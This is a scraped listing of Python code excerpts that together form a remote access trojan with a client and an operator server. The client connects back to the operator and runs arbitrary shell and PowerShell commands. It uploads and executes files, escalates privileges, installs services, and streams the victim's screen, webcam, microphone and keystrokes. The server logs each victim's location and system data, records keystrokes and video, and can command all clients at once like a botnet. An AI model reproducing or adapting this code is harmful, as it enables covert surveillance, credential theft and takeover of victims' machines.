Exemple #1
0
def Talk(ip, port, encoding):
    try:
        headersize = 10
        new_msg = True
        msg_len = 0
        full_msg = b''
        msg = b'next'

        e = Encryption()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))

        CHUNK = 81920
        FORMAT = pyaudio.paInt16
        CHANNELS = 2
        RATE = 44100
        p = pyaudio.PyAudio()
        stream = p.open(format=FORMAT,
                        channels=CHANNELS,
                        rate=RATE,
                        input=False,
                        output=True,
                        frames_per_buffer=CHUNK)

        while True:
            try:
                talk_msg = s.recv(81920)

                if new_msg:
                    msg_len = int(talk_msg[:headersize])
                    new_msg = False

                full_msg += talk_msg

                if len(full_msg) - headersize == msg_len:
                    data = e.do_decrypt(full_msg[headersize:])
                    data = zlib.decompress(data)
                    data = pickle.loads(data)

                    stream.write(data)

                    real_msg = pickle.dumps(msg)
                    real_msg = zlib.compress(real_msg, 1)
                    real_msg = e.do_encrypt(real_msg)
                    final_msg = bytes(f'{len(msg):<{headersize}}',
                                      encoding) + msg
                    s.send(final_msg)

                    new_msg = True
                    msg_len = 0
                    full_msg = b''
            except:
                stream.stop_stream()
                stream.close()
                p.terminate()
                exit(0)
    except:
        exit(0)
Exemple #2
0
def Audio(ip, port, encoding):
    try:
        headersize = 10
        new_msg = True
        msg_len = 0
        full_msg = b''

        e = Encryption()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))

        CHUNK = 81920
        FORMAT = pyaudio.paInt16
        CHANNELS = 2
        RATE = 44100
        p = pyaudio.PyAudio()
        stream = p.open(format=FORMAT,
                        channels=CHANNELS,
                        rate=RATE,
                        input=True,
                        frames_per_buffer=CHUNK,
                        as_loopback=True)

        while True:
            try:
                Audio_msg = s.recv(1024)

                if new_msg:
                    msg_len = int(Audio_msg[:headersize])
                    new_msg = False

                full_msg += Audio_msg

                if len(full_msg) - headersize == msg_len:
                    frame = stream.read(CHUNK)

                    frame = pickle.dumps(frame)
                    frame = zlib.compress(frame, 1)
                    frame = e.do_encrypt(frame)

                    final_msg = bytes(f'{len(frame):<{headersize}}',
                                      encoding) + frame
                    s.send(final_msg)

                    new_msg = True
                    msg_len = 0
                    full_msg = b''
            except:
                stream.stop_stream()
                stream.close()
                p.terminate()
                exit(0)
    except:
        exit(0)
Exemple #3
0
def Keylogger(ip, port, encoding):
    try:
        headersize = 10

        e = Encryption()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))

        def on_press(key):
            try:
                recv = s.recv(1024)

                log = pickle.dumps(str(key))
                log = zlib.compress(log)
                log = e.do_encrypt(log)

                final_msg = bytes(f'{len(log):<{headersize}}', encoding) + log
                s.send(final_msg)
            except:
                exit(0)

        with Listener(on_press=on_press) as L:
            L.join()
    except:
        exit(0)
Exemple #4
0
def Stream(ip, port, encoding):
    try:
        headersize = 10
        new_msg = True
        msg_len = 0
        full_msg = b''

        e = Encryption()
        g = Grabber()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))

        while True:
            try:
                last_time = time.time()
                recv_msg = s.recv(1024)

                if new_msg:
                    msg_len = int(recv_msg[:headersize])
                    new_msg = False

                full_msg += recv_msg

                if len(full_msg) - headersize == msg_len:
                    frame = g.grab()
                    cv2.putText(frame,
                                f'FPS: {1.0 / (time.time() - last_time):f}',
                                (10, 25), cv2.FONT_HERSHEY_SIMPLEX, 0.6,
                                (255, 255, 255), 2)

                    frame = pickle.dumps(frame)
                    frame = zlib.compress(frame, 1)
                    frame = e.do_encrypt(frame)

                    final_msg = bytes(f'{len(frame):<{headersize}}',
                                      encoding) + frame
                    s.send(final_msg)

                    new_msg = True
                    msg_len = 0
                    full_msg = b''
            except:
                cv2.destroyAllWindows()
                exit(0)
    except:
        exit(0)
Exemple #5
0
def Cam(ip, port, encoding, position):
    try:
        headersize = 10
        new_msg = True
        msg_len = 0
        full_msg = b''

        e = Encryption()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))

        cam = cv2.VideoCapture(position)

        while True:
            try:
                Cam_msg = s.recv(1024)

                if new_msg:
                    msg_len = int(Cam_msg[:headersize])
                    new_msg = False

                full_msg += Cam_msg

                if len(full_msg) - headersize == msg_len:
                    check, frame = cam.read()
                    frame = pickle.dumps(frame)
                    frame = zlib.compress(frame, 1)
                    frame = e.do_encrypt(frame)

                    final_msg = bytes(f'{len(frame):<{headersize}}',
                                      encoding) + frame
                    s.send(final_msg)

                    new_msg = True
                    msg_len = 0
                    full_msg = b''
            except:
                cam.release()
                cv2.destroyAllWindows()
                exit(0)
    except:
        exit(0)
Exemple #6
0
class Client:
	encrypt = Encryption()
	headersize = 10
	new_msg = True
	msg_len = 0
	full_msg = b''


	def __init__(self, server_ip='127.0.0.1', server_port=1200, encoding='latin-1'):
		self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.ip = server_ip
		self.port = server_port
		self.encoding = encoding
		try:
			self.username = f'{os.environ["USERNAME"].capitalize()}@{platform.node()}'
		except:
			self.username = '******'


	@staticmethod
	def sub_shell(message, encoding, ret=True):
		shell = Popen(message, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
		if ret:
			return shell.stdout.read().decode(encoding).strip() + shell.stderr.read().decode(encoding).strip()
	

	def send_message(self, message):
		result = pickle.dumps(message)
		result = zlib.compress(result, 1)
		encrypted_msg = Client.encrypt.do_encrypt(result)
		result = bytes(f'{len(encrypted_msg):<{Client.headersize}}', self.encoding) + encrypted_msg
		self.s.send(result)


	def connect(self):
		try:
			self.s.connect((self.ip, self.port))
		except:
			exit(0)


	def listen(self):
		while True:
			try:
				while True:
					msg = self.s.recv(81920)

					if Client.new_msg:
						Client.msg_len = int(msg[:Client.headersize])
						Client.new_msg = False

					Client.full_msg += msg
					
					if len(Client.full_msg)-Client.headersize == Client.msg_len:
						decrypted_msg = Client.encrypt.do_decrypt(Client.full_msg[Client.headersize:])
						decompressed_msg = zlib.decompress(decrypted_msg)
						message = pickle.loads(decompressed_msg)['message']

						if message[:2].lower() == 'cd':
							try:
								os.chdir(message[3:])
								self.send_message({'message': f'{os.getcwd()}'})
							except:
								self.send_message({'message': f'Could not find directory {message[3:]}'})

						elif message[:7].lower() == 'elevate':
							try:
								threading.Thread(target=Bypass, args=[message[8:]], daemon=False).start()
								self.send_message({'message': f'Elevating privileges complete, program will be running as administrator within the next seconds!\nIf you are escelating privileges of this program, you will need to have duplicates option enabled.'})
							except:
								self.send_message({'message': f'Something went wrong when attempting to elevate privileges.'})

						elif message[:7].lower() == 'service':
							try:
								data = message[8:].split()
								assert len(data) == 3
								result = Client.sub_shell(f'sc {data[0]} {data[1]} binpath= {data[2]} start= auto', self.encoding).strip()
								self.send_message({'message': result})
							except Exception as e:
								print(e)
								self.send_message({'message': f'Something went wrong working with services.'})
	
						elif message[:8].lower() == 'download':
							try:
								args = message[9:]
								if message[-2:].lower() == '-e':
									args = message[9:-3]
								with open(args, 'rb') as f:
									self.send_message({'message': f'Download of {args} complete!', 'download': f.read()})
							except:
								self.send_message({'message': f'Download of {args} failed, please try again.'})
								
						elif message[:6].lower() == 'upload':
							try:
								args = message[7:]
								if message[-2:].lower() == '-e':
									args = message[7:-3]
								with open(args, 'wb') as f:
									f.write(pickle.loads(decompressed_msg)['image'])
								if message[-2:].lower() == '-e':
									Client.sub_shell(args, self.encoding)
								self.send_message({'message': f'Upload of {args} complete!'})
							except:
								self.send_message({'message': f'Upload of {args} failed.'})
								
						elif message.lower() == 'screenshot' or message.lower() == 'screenshot -s':
							try:
								img = ImageGrab.grab()
								frame = numpy.array(img)
								self.send_message({'message': f'Upload of screenshot complete!', 'screenshot': frame})
							except:
								self.send_message({'message': f'Upload of screenshot failed.'})

						elif message.lower() == 'devices':
							try:
								devices = 0
								sizes = []
								result = ''
								while True:
									cap = cv2.VideoCapture(devices)
									if cap.read()[0]:
										devices += 1
										width = int(cap.get(3))
										height = int(cap.get(4))
										sizes.append((width, height))
									else:
										break
									cap.release()
								
								for i, size in enumerate(sizes):
									result += f'\n  - Camera {i}: {size}'	
									if len(sizes) > 1:
										result += '\n'
								
								self.send_message({'message': f'Number of webcam devices is {devices}{result}'})
							except:
								self.send_message({'message': f'Something went wrong reading devices.'})   
						
						elif message[:6].lower() == 'webcam':
							try:
								args = message.lower().split()
								position = int(args[1])
								cam = cv2.VideoCapture(position)
								check, frame = cam.read()
								assert check
								self.send_message({'message': f'Upload of webcam screenshot complete!', 'webcam': frame})
							except:
								self.send_message({'message': f'Upload of webcam screenshot failed.'})
							else:
								cam.release()
								cv2.destroyAllWindows()

						elif message[:6].lower() == 'stream':
							try:
								args = message[7:].lower().split(':')
								assert len(args) == 2
								threading.Thread(target=Stream, args=[args[0], int(args[1]), self.encoding], daemon=True).start()
								self.send_message({'message': f'Stream running!'})
							except:
								self.send_message({'message': f'Stream failed to run (client).'})
						
						elif message[:3].lower() == 'cam':
							try:
								args = message[4:].lower().split()[:-1]
								assert len(args) == 2
								position = int(args[1])
								address = args[0].split(':')
								threading.Thread(target=Cam, args=[address[0], int(address[1]), self.encoding, position], daemon=True).start()
								self.send_message({'message': f'Cam running!'})
							except:
								self.send_message({'message': f'Cam failed to run (client).'})

						elif message[:5].lower() == 'audio':
							try:
								args = message[6:].lower().split(':')
								assert len(args) == 2
								threading.Thread(target=Audio, args=[args[0], int(args[1]), self.encoding], daemon=True).start()
								self.send_message({'message': f'Audio running!'})
							except:
								self.send_message({'message': f'Audio failed to run (client).'})

						elif message[:9].lower() == 'keylogger':
							try:
								args = message[10:].lower().split(':')
								assert len(args) == 2
								threading.Thread(target=Keylogger, args=[args[0], int(args[1]), self.encoding], daemon=True).start()
								self.send_message({'message': f'Keylogger running!'})
							except:
								self.send_message({'message': f'Keylogger failed to run (client).'})

						elif message[:4].lower() == 'talk':
							try:
								args = message[5:].lower().split(':')
								assert len(args) == 2
								threading.Thread(target=Talk, args=[args[0], int(args[1]), self.encoding], daemon=True).start()
								self.send_message({'message': f'Talk running!'})
							except:
								self.send_message({'message': f'Talk failed to run (client).'})

						elif message[:7].lower() == 'message':
							try:
								args = message[8:].split('=>')
								style = 0
								assert len(args) <= 3 and args[0] != ''
								if len(args) == 1:
									args.append(args[0])
									args[0] = 'Message'
								elif len(args) == 3:
									style = int(args[2])
								threading.Thread(target=show_message, args=[args[0], args[1], style], daemon=True).start()
								self.send_message({'message': f'Message shown!'})
							except:
								self.send_message({'message': f'Message failed to show.'})
					
						elif message[:4].lower() == 'open':
							try:
								args = message[5:].lower().split()
								assert len(args) == 1
								threading.Thread(target=open_browser, args=[args[0]], daemon=True).start()
								self.send_message({'message': f'Webbrowser opened!'})
							except:
								self.send_message({'message': f'Webbrowser failed to open.'})

						elif message[:2].lower() == 'ps':
							try:
								server_data = message.split()
								server_data.pop(0)
								data = ['powershell', '/c']
								for i, d in enumerate(server_data):
									data.insert(i + 2, d)
								self.send_message({'message': f'{Client.sub_shell(data, self.encoding).strip()}'})
							except:
								self.send_message({'message': f'Something went wrong using powershell, please try again.'})
						
						elif message[-2:].lower() == '-t':
							try:
								threading.Thread(target=Client.sub_shell, args=[message[:-3].split(), self.encoding, False], daemon=False).start()
								self.send_message({'message': 'Command running as a thread!'})
							except:
								self.send_message({'message': 'Command failed to run as a thread.'})								

						elif message[:15].lower() == 'dk7ad6mwo5apwr4':
							types = ['OS', 'COMPUTER', 'VERSION', 'EXACT VERSION', 'MACHINE', 'PROCESSOR', 'LOCAL IP']
							info = []
							zipz = []

							try:
								info = [x for x in platform.uname()]
							except:
								info = ['UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN']

							try:
								info.append(socket.gethostbyname(socket.gethostname()))
							except:
								info.append('UNKOWN')
								
							try:
								data = geocoder.ip('me').json['raw']
								for key, value in data.items():
									types.append(key.upper())
									if value == '':
										info.append('UNKOWN')
									else:
										info.append(value)
							except:
								types += ['IP', 'HOSTNAME', 'CITY', 'REGION', 'COUNTRY', 'LOC', 'POSTAL', 'ORG']
								info += ['UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN']

							for i in range(len(info)):
								zipz.append((types[i], info[i]))
							
							if message.lower() == 'dk7ad6mwo5apwr4khg':
								self.send_message({'message': ((self.username, bool(is_running_as_admin())), zipz)})
							else:
								self.send_message({'message': zipz})

						elif message.lower() == 'aij4sawxorng2u9w5ar7':
							self.send_message({'message': (self.username, bool(is_running_as_admin()))})

						elif message.lower() == 'aij4oaw4orn12u9w5ar7':
							self.send_message({'message': f'True'})

						else:
							result = Client.sub_shell(message.split(), self.encoding).strip()
							if result == '':
								result = 'Empty response.'
							self.send_message({'message': result})

						Client.new_msg = True
						Client.msg_len = 0
						Client.full_msg = b''
			except KeyboardInterrupt:
				continue
			except:
				exit(0)
Exemple #7
0
def Cam(encoding, path, user, quality):
    try:
        global cam_settings

        FRAMES = 5.0
        headersize = 10
        new_msg = True
        msg_len = 0
        full_msg = b''
        msg = b'next'

        r = random.randint(0, 1000000)
        e = Encryption()
        client, addr = s.accept()

        u = (user, client, addr)
        cam_settings.append(u)

        real_msg = pickle.dumps(msg)
        real_msg = zlib.compress(real_msg, 1)
        real_msg = e.do_encrypt(real_msg)
        final_msg = bytes(f'{len(real_msg):<{headersize}}',
                          encoding) + real_msg
        client.send(final_msg)

        fourcc = cv2.VideoWriter_fourcc(*'XVID')
        out = cv2.VideoWriter(
            f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S")}.avi', fourcc,
            FRAMES, quality)

        while True:
            try:
                client_msg = client.recv(81920)

                if new_msg:
                    msg_len = int(client_msg[:headersize])
                    new_msg = False

                full_msg += client_msg

                if len(full_msg) - headersize == msg_len:
                    frame = e.do_decrypt(full_msg[headersize:])
                    frame = zlib.decompress(frame)
                    frame = pickle.loads(frame)

                    cv2.namedWindow(f'{user}\'s live cam. {r}',
                                    cv2.WINDOW_NORMAL)
                    cv2.imshow(f'{user}\'s live cam. {r}', frame)
                    out.write(frame)

                    if cv2.waitKey(1) == 27:
                        client.close()
                        break

                    real_msg = pickle.dumps(msg)
                    real_msg = zlib.compress(real_msg, 1)
                    real_msg = e.do_encrypt(real_msg)
                    final_msg = bytes(f'{len(real_msg):<{headersize}}',
                                      encoding) + real_msg
                    client.send(final_msg)

                    new_msg = True
                    msg_len = 0
                    full_msg = b''
            except:
                cam_settings.remove(u)
                out.release()
                exit(0)

        cam_settings.remove(u)
        out.release()
    except:
        exit(0)
Exemple #8
0
def Talk(encoding, path, user):
    try:
        global talk_settings

        CHUNK = 81920
        FORMAT = pyaudio.paInt16
        CHANNELS = 2
        RATE = 44100
        headersize = 10
        new_msg = True
        msg_len = 0
        full_msg = b''
        frames = []

        e = Encryption()
        client, addr = s.accept()

        u = (user, client, addr)
        talk_settings.append(u)

        p = pyaudio.PyAudio()
        stream = p.open(format=FORMAT,
                        channels=CHANNELS,
                        rate=RATE,
                        input=True,
                        output=False,
                        frames_per_buffer=CHUNK)

        msg = pickle.dumps(stream.read(CHUNK))
        msg = zlib.compress(msg, 1)
        msg = e.do_encrypt(msg)
        final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg
        client.send(final_msg)

        while True:
            try:
                client_msg = client.recv(1024)

                if new_msg:
                    msg_len = int(client_msg[:headersize])
                    new_msg = False

                full_msg += client_msg

                if len(full_msg) - headersize == msg_len:
                    data = stream.read(CHUNK)
                    frames.append(data)

                    msg = pickle.dumps(data)
                    msg = zlib.compress(msg, 1)
                    msg = e.do_encrypt(msg)
                    final_msg = bytes(f'{len(msg):<{headersize}}',
                                      encoding) + msg
                    client.send(final_msg)

                    new_msg = True
                    msg_len = 0
                    full_msg = b''
            except:
                talk_settings.remove(u)
                waveFile = wave.open(
                    f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.wav', 'wb')
                waveFile.setnchannels(CHANNELS)
                waveFile.setsampwidth(p.get_sample_size(FORMAT))
                waveFile.setframerate(RATE)
                waveFile.writeframes(b''.join(frames))
                waveFile.close()
                exit(0)
    except:
        exit(0)
def Keylogger(encoding, path, user):
	try:
		global keylogger_settings

		fn = f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.txt'
		first = True
		headersize = 10
		new_msg = True
		msg_len = 0
		full_msg = b''
		msg = b'next'

		e = Encryption()
		client, addr = s.accept()

		u = (user, client, addr, fn)
		keylogger_settings.append(u)


		with open(fn, 'a') as f:
			f.write(f'Logging key strokes of {user}...  [{time.strftime("%Y-%m-%d (%H-%M-%S)")}]\n\n')
			f.flush()

			real_msg = pickle.dumps(msg)
			real_msg = zlib.compress(real_msg, 1)
			real_msg = e.do_encrypt(real_msg)
			final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
			client.send(final_msg)

			while True:
				client_msg = client.recv(1024)

				if new_msg:
					msg_len = int(client_msg[:headersize])
					new_msg = False

				full_msg += client_msg

				if len(full_msg)-headersize == msg_len:
					log = e.do_decrypt(full_msg[headersize:])
					log = zlib.decompress(log)
					log = pickle.loads(log)

					result = ''
					key = log.replace("'", '')
					t = time.strftime("%Y-%m-%d (%H-%M-%S): ")

					if first:
						if 'Key.space' not in log or 'Key.enter' not in log:
							result = t
						first = False
					
					if len(key) > 1:
						result += f'[{key}]'  
					else:
						result += key

					if 'Key.space' in log or 'Key.enter' in log:
						result = f'\n{t}{result}' 
					
					f.write(result)
					f.flush()

					real_msg = pickle.dumps(msg)
					real_msg = zlib.compress(real_msg, 1)
					real_msg = e.do_encrypt(real_msg)
					final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
					client.send(final_msg)
					
					new_msg = True
					msg_len = 0
					full_msg = b''
	except:
		keylogger_settings.remove(u)
		exit(0)
Exemple #10
0
class Server:
	# Socket, queue & encryption
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	q = Queue()
	encrypt = Encryption()
	toaster = ToastNotifier()
	# headersize
	headersize = 10
	# Threads & jobs
	threads = 2
	jobs = [1, 2]
	# Connections & addresses
	connections = []
	addresses = []
	usernames = []
	priveldges = []
	information = []
	# Program & Session timers
	sessionTime = ''
	runningTime = ''
	# Message transfer
	new_msg = True
	msg_len = 0
	full_msg = b''
	msg = ''
	# Keep alive & connect notice
	keep_alive_timer = 60
	# Filter client
	filter_client = None
	# Session clear screen
	session_clear_screen = False


	"""
		The method called upon instantiation to provide & 
		verify the options specified by the user available
		as command line arguments.
	"""
	def __init__(self, ip, port, username, theme, encoding, console_notice, email_notice, duplicates, whoami, history, banner, module_ports):
		# Ip & port & encoding
		self.ip = ip
		self.port = port
		self.module_ports = module_ports
		self.banner = set_bool(banner)
		self.duplicates = set_bool(duplicates)
		self.history = set_bool(history)
		self.whoami = set_bool(whoami)
		self.encoding = set_encoding(encoding)
		# Username & theme
		self.username = set_username(username)
		self.theme = set_theme(theme)
		# Notices
		self.console_notice = set_bool(console_notice)
		self.email_notice = set_email(email_notice)


	"""
		Listens for connections to accept & handle for
		in the methods below. It simply is setting up,
		binding & listening to a socket.
	"""
	def listen(self):
		try:
			Server.s.bind((self.ip, self.port))
			Server.s.listen()
		except:
			msg_len = len(f'Binding socket to IP[{self.ip}] PORT[{self.port}] failed.')
			print(f'{self.theme[1]}\n{"-" * msg_len}\nBinding socket to IP[{Style.RESET_ALL}{self.theme[3]}{self.ip}{Style.RESET_ALL}]{self.theme[1]} PORT[{Style.RESET_ALL}{self.theme[3]}{self.port}{Style.RESET_ALL}{self.theme[1]}] failed.\n{"-" * msg_len}{Style.RESET_ALL}')
			os._exit(0)
		

	"""
		How to handle the connections coming in, adding
		the data of who this client is to lists, files
		& verifying the connection is coming through
		the client script & not any foreign program.
	"""
	def accept(self):
		# Close all Server.connections
		for connection in Server.connections:
			connection.close()
		
		# Reset Server.connections & Server.addresses
		del Server.connections[:]
		del Server.addresses[:]

		# Accept all clients & append data to lists
		while True:
			client, address = Server.s.accept()
			data = ''
			try:
				if self.whoami:
					data = self.send_message(client, 'dk7ad6mwo5apwr4khg')
					# Options - Duplicate flag
					if self.duplicates is False and data[0][0] in Server.usernames:
						client.close()
						continue
					# Append data to lists
					Server.usernames.append(data[0][0])
					Server.priveldges.append(data[0][1])
					Server.information.append(data[1])

					info = ''
					for typez, item in data[1]:
						info += f'{typez}: {item}\n'
					
					dirs = ['Data', f'Data/{data[0][0]}']
					setup_directory(dirs)
					with open(f'{os.getcwd()}/Data/{data[0][0]}/{data[0][0]}.txt', 'w') as f:
						f.write(f'USER: {data[0][0]}\nIP: {address[0]}\nPORT: {address[1]}\n{info}')
				else:
					data = self.send_message(client, 'aij4sawxorng2u9w5ar7')
					# Options - Duplicate flag
					if self.duplicates is False and data[0] in Server.usernames:
						client.close()
						continue
					# Append data to lists
					Server.usernames.append(data[0])
					Server.priveldges.append(data[1])
					Server.information.append([('OS', 'UNSET'), ('COMPUTER', 'UNSET'), ('VERSION', 'UNSET'), ('EXACT VERSION', 'UNSET'), ('MACHINE', 'UNSET'), ('PROCESSOR', 'UNSET'), ('LOCAL IP', 'UNSET'), ('IP', 'UNSET'), ('HOSTNAME', 'UNSET'), ('CITY', 'UNSET'), ('REGION', 'UNSET'), ('COUNTRY', 'UNSET'), ('LOC', 'UNSET'), ('POSTAL', 'UNSET'), ('ORG', 'UNSET')])
			except:
				client.close()
				continue
			Server.connections.append(client)
			Server.addresses.append(address)

			# Options - History, Whoami, Notice & Email Notice
			if self.history:
				user = ''
				if self.whoami:
					user = data[0][0]
				else:
					user = data[0]

				now = time.strftime('%Y-%m-%d (%H-%M-%S)')
				dirs = ['Data', f'Data/{user}']
				setup_directory(dirs)
				with open(f'{os.getcwd()}/Data/{user}/History.txt', 'a') as f:
					msg = f'CONNECTION: ({now})'
					f.write(f'{msg}\n{"-" * len(msg)}\n')

			if self.console_notice:
				now = time.strftime('%H:%M')				
				Server.toaster.show_toast('Connection Notice!', f'{user} Connected! ({now})\nAddress: {address[0]}:{address[1]}', icon_path=None, duration=5, threaded=True)

			if self.email_notice[0]:
				try:
					info = ''
					if self.whoami:
						for typez, item in data[1]:
							info += f'\n{typez}: {item}'
					now = timer()
					subject = f'Connection! {now}'
					text = f'CONNECTION: {user}\nIP: {address[0]}\nPORT: {address[1]}\nWHEN: {now}{info}'
					Email(self.email_notice[1], self.email_notice[2], self.email_notice[1].split() + self.email_notice[3], subject, text).send_email()
				except:
					print(f'{self.theme[1]}\nFailed to send email notification.\nPlease check your configuration options.\n\n{Style.RESET_ALL}{self.theme[0]}{self.username}\'s Server>{Style.RESET_ALL}{self.theme[3]}', end='')

	
	"""
		Shell is the handler for everything it lets you
		delete, list & connect with clients. It allows
		you to specify options of how the program should
		operate but also has special features like the
		"all" command to allowing botnet like behaviour.
	"""
	def shell(self):
		# Setup shell
		clear_screen()
		Server.runningTime = timer()
		if self.banner:
			banner(self.theme)
		# Setup thread
		threading.Thread(target=self.keepAlive, daemon=True).start()

		while True:
			try:
				# Setup input
				print(f'{self.theme[0]}{self.username}\'s Server>{Style.RESET_ALL}{self.theme[3]}', end='')
				try:
					shell_msg = readInput(self.encoding, True).lower()
				except TimeoutError:
					continue

				# Running modules
				if shell_msg == 'running':
					print(f'{self.theme[2]}Modules Running:\n  - Stream: {stream_info()}\n  - Cam: {cam_info()}\n  - Audio: {audio_info()}\n  - Keylogger: {keylogger_info()}\n  - Talk: {talk_info()}\n{Style.RESET_ALL}')
					continue

				# Stream
				elif shell_msg[:6] == 'stream':
					try:
						if shell_msg[7:11] == 'kill':
							print(f'{self.theme[2]}{set_stream_settings(shell_msg[12:])}{Style.RESET_ALL}\n')
						else:
							self.session(self.getConn(int(shell_msg[7:])), True, 'stream')
					except:
						print(f'{self.theme[2]}Failed to handle stream.{Style.RESET_ALL}\n')

				# Cam
				elif shell_msg[:3] == 'cam':
					try:
						if shell_msg[4:8] == 'kill':
							print(f'{self.theme[2]}{set_cam_settings(shell_msg[9:])}{Style.RESET_ALL}\n')
						else:
							args = shell_msg[4:].split()
							self.session(self.getConn(int(args[0])), True, f'cam {args[1]} {args[2]}')
					except:
						print(f'{self.theme[2]}Failed to handle cam.{Style.RESET_ALL}\n')

				# Audio
				elif shell_msg[:5] == 'audio':
					try:
						if shell_msg[6:10] == 'kill':
							print(f'{self.theme[2]}{set_audio_settings(shell_msg[11:])}{Style.RESET_ALL}\n')
						else:
							self.session(self.getConn(int(shell_msg[6:])), True, 'audio')
					except:
						print(f'{self.theme[2]}Failed to handle audio.{Style.RESET_ALL}\n')						

				# Keylogger
				elif shell_msg[:9] == 'keylogger':
					if shell_msg[10:14].lower() == 'kill':
						print(f'{self.theme[2]}{set_keylogger_settings(shell_msg[15:])}{Style.RESET_ALL}\n')
					elif shell_msg[10:14] == 'text':
						try:
							data = get_logs(int(shell_msg[15:]))
							print(f'{self.theme[2]}{data[1]}{Style.RESET_ALL}\n')
						except:
							print(f'{self.theme[2]}Failed to type logs.{Style.RESET_ALL}\n')
					elif shell_msg[10:15] == 'image':
						try:
							data = get_logs(int(shell_msg[16:]))
							assert data[0] is not None
							dirs = ['Data', f'Data/{data[0]}', f'Data/{data[0]}/Keylogger', f'Data/{data[0]}/Keylogger/Images']
							setup_directory(dirs)
							fn = time.strftime('%Y-%m-%d (%H-%M-%S).png')
							image = text_image(data[1])
							image.show()
							image.save(f'{os.getcwd()}/{dirs[-1]}/{fn}')
							print(f'{self.theme[2]}Logs visualization complete!{Style.RESET_ALL}\n')
						except:
							print(f'{self.theme[2]}Failed to visualize logs.{Style.RESET_ALL}\n')
					else:
						try:
							self.session(self.getConn(int(shell_msg[10:])), True, 'keylogger')
						except:
							print(f'{self.theme[2]}Failed to handle keylogger.{Style.RESET_ALL}\n')

				# Talk
				elif shell_msg[:4] == 'talk':
					try:
						if shell_msg[5:9] == 'kill':
							print(f'{self.theme[2]}{set_talk_settings(shell_msg[10:])}{Style.RESET_ALL}\n')
						else:
							self.session(self.getConn(int(shell_msg[5:])), True, 'talk')
					except:
						print(f'{self.theme[2]}Failed to handle talk.{Style.RESET_ALL}\n')	

				# Server shell
				elif shell_msg[:6] == 'server':
					try:
						data = Popen(shell_msg[7:], shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
						print(f'{self.theme[2]}{data.stdout.read().decode(self.encoding).strip()}{data.stderr.read().decode(self.encoding).strip()}{Style.RESET_ALL}\n'.replace('ÿ', ' '))
					except:
						print(f'{self.theme[2]}Something went wrong running shell command.\n{Style.RESET_ALL}')

				# Archive
				elif shell_msg[:7] == 'archive':
					try:
						if shell_msg.strip() == 'archive':
							raise Exception('No data to archive')
						if shell_msg[-2:] == '-a':
							shutil.make_archive('Data', 'zip', f'{os.getcwd()}/Data')
							shutil.rmtree(f'{os.getcwd()}/Data')
						else:
							user = shell_msg[8:]
							shutil.make_archive(user.capitalize(), 'zip', f'{os.getcwd()}/Data/{user.capitalize()}')
							shutil.rmtree(f'{os.getcwd()}/Data/{user}')
						print(f'{self.theme[2]}Successfully archived your data!\n{Style.RESET_ALL}')
					except:
						print(f'{self.theme[1]}Something went wrong trying to archive your data.\n{Style.RESET_ALL}')

				# Whoami
				elif shell_msg[:6] == 'whoami':
					try:
						target = int(shell_msg[7:])
						# Filter enabled
						Server.filter_client = Server.addresses[target][1]
						data = self.send_message(Server.connections[target], 'dk7ad6mwo5apwr4')
						# Filter disabled
						Server.filter_client = None
						Server.information[target] = data

						info = ''
						for typez, item in data:
							info += f'{typez}: {item}\n'
						
						dirs = ['Data', f'Data/{Server.usernames[target]}']
						setup_directory(dirs)
						with open(f'{os.getcwd()}/Data/{Server.usernames[target]}/{Server.usernames[target]}.txt', 'w') as f:
							f.write(f'USER: {Server.usernames[target]}\nADMIN: {Server.priveldges[target]}\nIP: {Server.addresses[target][0]}\nPORT: {Server.addresses[target][1]}\n{info}')
						print(f'{self.theme[2]}Whoami complete on connection {target}!\n{Style.RESET_ALL}\n', end='')
					except:
						print(f'{self.theme[1]}Something went wrong running whoami.\n{Style.RESET_ALL}')

				# Send all
				elif shell_msg[:3] == 'all':
					# If no clients
					if len(Server.connections) == 0:
						print(f'{self.theme[1]}No clients connected\n{Style.RESET_ALL}')

					for index, connection in enumerate(Server.connections):
						try:
							out = f'{self.theme[2]}{Server.usernames[index]}[{Style.RESET_ALL}{self.theme[3]}{index}{Style.RESET_ALL}{self.theme[2]}] ADMIN[{Style.RESET_ALL}{self.theme[3]}{Server.priveldges[index]}{Style.RESET_ALL}{self.theme[2]}] IP[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][0]}{Style.RESET_ALL}{self.theme[2]}] PORT[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][1]}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}'
							out_length = len(str(index) + Server.usernames[index] + str(Server.priveldges[index]) + Server.addresses[index][0] + str(Server.addresses[index][1]) + '[] ADMIN[] IP[] PORT[]')
							print(f'{out}{self.theme[3]}\n{"-" * out_length}{Style.RESET_ALL}')
						
							client_msg = self.session(self.getConn(index), True, shell_msg[4:])
							if client_msg:
								self.delete_client(index, Server.usernames[index])
						except:
							print(f'{self.theme[1]}Something went wrong sending message.\n{Style.RESET_ALL}')

				# List
				elif shell_msg[:4] == 'list' or shell_msg[:2] == 'ls':
					if shell_msg == 'list' or shell_msg == 'ls':
						self.list_connections(False)
					elif shell_msg == 'list -l' or shell_msg == 'ls -l':
						self.list_connections(True)
					else:
						print(f'{self.theme[2]}\'{shell_msg}\' is not a valid input.\n\n{Style.RESET_ALL}', end='')

				# Select
				elif shell_msg[:7] == 'session':
					try:
						target = int(shell_msg[8:])
						conn = self.getConn(target)
